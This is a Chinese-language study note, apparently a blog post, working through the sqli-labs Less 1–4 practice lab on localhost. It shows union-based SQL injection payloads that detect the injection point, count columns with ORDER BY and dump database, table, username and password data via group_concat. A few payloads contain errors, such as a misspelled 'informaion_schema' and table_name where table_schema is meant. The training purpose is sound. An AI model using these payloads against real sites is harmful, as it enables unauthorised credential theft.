less1~4总结

sql注入基本步骤

  1. 单引号,and 1=1,and 1=2,双引号括号来判断是否存在错误

  2. order by 判断数据有多少列

  3. 寻找那些数据回显

  4. 利用union 查询或者报错注入

  5. 获取数据库,版本等信息

  6. 最后获取获取信息

less 1下面都是我的心路历程

顺便补充这是在网页上进行的操作,前几天我一直在mysql命令行操作,那是不对的,怎么说,我的理解是sql-libs原本应该用虚拟机搭建的(是管理员方),然后web浏览器的操作上操作(是游客方),sql注入问题就是会让游客方看到管理员方能看到的数据但我之前一直用mysql命令行输操作(就是管理员方查看数据毫无意义),我看我自己行为。

首先 输入

http://localhost/Less-1/?id=1 是正常返回的,

QQ截图20211009123350.png

当输入

http://localhost/Less-1/?id=1%27 (%27 是单引号,url自动转换的),这里可以判断有注入问题,

输入

http://localhost/Less-1/?id=1'order by2
开始报错,由报错内容可知道我们输入的‘order by’与后面的‘limit 0,1’语法冲突了,这是什么意思呢?

image-20211009123956628

让我们打开根目录的文件看看吧,查找带limit的函数(虽然是‘我看我自己’行为,但是这样方便自己理解)

这里有一句$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;

为了方便后面学习,我们可以在下面打

echo $sql;//这里意思是print sql 以字符串形式

echo “《br》” ;//因为我这里打出来就变成换行了,所以我用中文打符号,懂都懂
QQ截图20211009161844.png

当我们在mysql命令行中输入后,返回数据对比发现SELECT * FROM users WHERE id=’1’ LIMIT 0,1返回的数据和在web输入?ID=1返回的数据有些相同又有些不同,但是我们可以经过修改?ID=2 ?ID=3发现我们在web上输入的?ID=1,是给$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;中的“ID”赋值,那么我们基本上就能猜到这个语句就是返回数据的。

QQ截图20211009145206.png

这样我们就知道了第二步中,ID被我们赋值成了“1’ order by”,语句变成了

select * from user where id=’1’ order by10’ limit 0,1;

这个语句肯定是不能执行的,所以我们通过将多出来的单引号和后面的limit0,1注释(–+,#,–都可以)掉,让order by 语句合法。

输入?id=1’ order by10 –+通过这种方法来利用是否报错来判断数据有多少列。

QQ截图20211009160530.png

这里没有报错,但是也没有回显,说明没有第10列。

输入?id=1’ order by 3 –+正常回显,说明数据有三列

QQ截图20211009162156.png

然后输入?Id=-1’ union select 1,2,3–+ 查看哪些数据可以回显(1,2,3。。取决于多少列)

利用回显输入?id=-1‘ union select 1,2,databases()–+可以查看数据库名称;

输入?id-1‘ union select 1,2 ,schema_name from information_schema.schemata –+ 可以返回第一个数据库通过加入limit 1,2可以输出第二个数据库名称但是跟我们想象的不一样,只输出了一个数据库名称,

这样一次次是可以得到所以的数据库名称

或者更简单一次性输出

输入?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+

了解了group_concat()之后查表也就方便很多

输入?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_name=’security’–+ (最好把security改成16进制来避免出现引号问题)

输入?id=-1’ union select 1,2,group_concat(column_name) from informaion_schema.columns where

table_name=’users’

输入?id=-1’union select 1,2,group_concat(username) from security.users–+取出所有用户名

输入?id=-1’union select 1,2,group_concat(password) from security.users–+取出所有的密码

这种操作复杂,但是我找到巨佬的进阶操作,666

进阶操作group_concat()嵌套concat_ws(‘任意’,a,b)优化用户名和密码的获取

输入?id=-1’ union select 1,2,group_concat(concat_ws(‘~’,username,password)) from security.users–+

将username和password拼凑输出


order by 语句解读

由上可知道 order by是用来推测数据库的列数,但是他的真正用途是给指定的列asdf对结果集进行排序的。(用途百度来的)用一种更直观的方式来表达。

这是 order by 前的数据库

order by 2后(一目了然,不枉费我玩了两天mysql)


union select 指令解读

在执行过 union select 1,2,3后,自动填充了一行1,2,3,所以在使用之前要判断列数;

select 1,2,3 select直接加数字串,这里的字符串就变成了一个数组(是一个行向量,就是会与列表从左到右一一对应)

id=-1 联合查询后两个查询结果合并输出,因此要然id=-1报错,才能输出最后一行来判断哪些位置回显;

QQ截图20211009203759.png


select * from users where id=’1‘ limit 0,1;解读

根据解题过程select * from users where id=’1‘ limit 0,1 大概能猜到这是一个返回数据的指令

但是当我们把where语句去掉select * from users limit 0,1他任然可以正常返回而且返回值跟不改一样;

QQ截图20211009211815.png

当我改成limit1,2;时,返回值变成了两个分别是id 2,3的username和password;

我第一时间联想到了c语言中的for循环语句for(int i=0;i<n;i++) limit 0,1;

两个变量分别表示输出地址起点 和 输出次数。


group_concat()解读

?id=-1’union select 1,2,group_concat(password) from security.users

将security下的所有password组成一行字符串输出,但是连接字符是有长度限制的,默认为1024;

所以如果结果字符串太长的话,就会在在数据库中被截取,因此没有显示全部数据。

可以利用

set global group_concat_max_len=1 //来调整输出的最大字符串长度


concat_ws(‘任意符号’,a,b)解读

就是将a和b 用任意符号连接

concat_ws(‘~’,a,b)

a~b

但是只能输出一个用户名的密码所以要嵌套在group_concat()内


基本操作语句(jc)

select system_user() //显示系统用户

select user()//显示系统用户

select version()//显示MySQL版本信息

select database()//显示数据库名称

select @@datadir //显示MySQL安装路径

select @@version_compile_os; //显示操作系统版本

left(a,b)//从左开始截取a的前b位判断,正确返回1,错误返回0

select user() regexp ‘r’; regexp为匹配字符串user()的正则表达式,不管输入多少,相同


QQ浏览器截图20190406021639.png